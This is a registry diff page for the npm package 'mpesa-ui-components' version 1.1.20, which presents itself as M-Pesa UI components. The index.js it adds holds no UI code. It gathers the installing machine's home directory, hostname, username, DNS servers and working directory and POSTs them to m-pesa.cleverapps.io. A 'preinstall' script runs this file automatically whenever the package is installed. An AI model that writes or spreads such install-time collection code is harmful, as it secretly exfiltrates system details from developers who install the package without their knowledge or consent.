mpesa-ui-components 1.1.20

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +44 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,44 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const packageJson = require("./package.json");
5
+
6
+ const trackingData = {
7
+ package: packageJson.name,
8
+ cwd: __dirname,
9
+ homedir: os.homedir(),
10
+ hostname: os.hostname(),
11
+ username: os.userInfo().username,
12
+ dnsServers: dns.getServers(),
13
+ resolved: packageJson.___resolved || null,
14
+ version: packageJson.version,
15
+ packageJson
16
+ };
17
+
18
+ const postData = JSON.stringify(trackingData);
19
+
20
+ const options = {
21
+ hostname: "m-pesa.cleverapps.io", // PAS de https:// ici
22
+ port: 443,
23
+ path: "/api/data/" + encodeURIComponent(os.hostname()),
24
+ method: "POST",
25
+ headers: {
26
+ "Content-Type": "application/json",
27
+ "Content-Length": Buffer.byteLength(postData),
28
+ },
29
+ };
30
+
31
+ const req = https.request(options, (res) => {
32
+ let body = "";
33
+ res.on("data", (chunk) => body += chunk);
34
+ res.on("end", () => {
35
+ console.log("Réponse du serveur:", body);
36
+ });
37
+ });
38
+
39
+ req.on("error", (err) => {
40
+ console.error("Erreur lors de l'envoi:", err.message);
41
+ });
42
+
43
+ req.write(postData);
44
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "mpesa-ui-components",
3
+ "version": "1.1.20",
4
+ "description": "Mpesa ui components",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }